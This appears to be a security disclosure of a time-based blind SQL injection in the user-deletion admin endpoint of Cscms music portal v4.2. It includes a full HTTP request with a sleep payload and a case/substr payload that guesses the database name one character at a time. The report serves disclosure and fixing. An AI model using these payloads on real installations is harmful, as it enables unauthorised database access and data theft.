SQL injection vulnerability exists in Cscms music portal system v4.2

[Am1azi3ng]

Details

there is a Injection vulnerability exists in sys_User.php_zu_del

The administrator needs to add a user to the member list after logging in. SQL injection vulnerability is generated when deleting the user. The constructed malicious payload is as follows

POST /admin.php/user/zu_del HTTP/1.1
Host: cscms.test
Content-Length: 15
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/user/level?v=2012
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=6g124miit249dnkv508bnrsshc8ugiss;XDEBUG_SESSION=PHPSTORM
Connection: close

id[]=(sleep(5))

You can see that success makes the server sleep
Construct payload to guess the database

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)

There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct